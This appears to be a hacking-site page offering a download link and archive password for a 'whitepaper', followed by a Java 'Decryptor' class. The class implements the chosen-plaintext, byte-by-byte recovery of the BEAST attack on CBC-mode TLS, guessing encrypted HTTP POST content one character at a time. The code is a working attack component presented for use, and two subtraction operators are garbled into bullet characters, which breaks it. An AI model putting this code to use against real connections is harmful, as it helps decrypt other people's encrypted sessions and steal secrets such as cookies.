白皮书下载地址:http://kuai.xunlei.com/d/BDNAUXCHLSOO

解压密码:www.mythhack.com

package peast;

import java.util.Arrays;

//"POST /"(6) + prefix + " HTTP/1.1\r\n"(11)

public class Decryptor {

private String plaintext = "";

private String prefixRight = "";

private static final String prefixLeft = "POST /";

private byte[] ciphertext;

private int blockSize;

private byte[] target;

private byte[] targetIV;

private byte attemptLastByte = 0x20;

private byte[] nextAttempt;

public Decryptor() {

}

public void setCiphertext(byte[] ciphertext) {

// TODO get blocksize from packets

blockSize = 16;

assert (ciphertext.length % blockSize == 0);

this.ciphertext = ciphertext;

target = new byte[blockSize];

targetIV = new byte[blockSize];

setTargetBlock();

}

public byte[] getChosenPrefix() {

// total length mod blockSize = blockSize - 1

int bs = blockSize == 0 ? 16 : blockSize;

int prefixLength = bs

  • ((prefixLeft.length() + prefixRight.length() + 1) % bs);

final byte[] prefix = new byte[prefixLength];

Arrays.fill(prefix, (byte) 0x41);

return prefix;

}

private byte[] getNextAttemptBlock() {

byte[] nextAttempt = new byte[blockSize];

String tmp = prefixLeft + new String(getChosenPrefix()) + prefixRight;

System.out.println("tmp: " + tmp);

System.arraycopy(tmp.getBytes(), tmp.length() - (blockSize - 1),

nextAttempt, 0, blockSize - 1);

nextAttempt[blockSize - 1] = attemptLastByte;

System.out

.println("Next attempt plaintext: " + new String(nextAttempt));

return nextAttempt;

}

public byte[] getChosenPlaintext(byte[] lastPacket) {

byte[] iv = Arrays.copyOfRange(lastPacket, lastPacket.length

  • blockSize, lastPacket.length);

byte[] cp = new byte[blockSize];

nextAttempt = getNextAttemptBlock();

assert (attemptLastByte < 128);

for (int idx = 0; idx < blockSize; idx++) {

cp[idx] = (byte) (nextAttempt[idx] ^ targetIV[idx] ^ iv[idx]);

}

attemptLastByte += 1;

return cp;

}

public boolean matches(byte[] cipher) {

byte[] m = new byte[blockSize];

System.arraycopy(cipher, 0, m, 0, blockSize);

if (Arrays.equals(m, target)) {

String found = new String(nextAttempt);

System.out.println("match!: " + found);

char ch = found.charAt(found.length() - 1);

plaintext = plaintext + ch;

prefixRight += ch;

attemptLastByte = 0x20;

setTargetBlock();

return true;

}

return false;

}

private void setTargetBlock() {

// which ciphertext block are we trying to guess next?

int index = (prefixLeft.length() + getChosenPrefix().length + prefixRight

.length()) / blockSize;

System.arraycopy(ciphertext, index * blockSize, target, 0, blockSize);

System.arraycopy(ciphertext, (index - 1) * blockSize, targetIV, 0,

blockSize);

}

public void setPrefixRight(String prefix) {

prefixRight = prefix;

}

public String getPrefixRight() {

return prefixRight;

}

public String getPlaintext() {

return plaintext;

}

}

Comments
Write a Comment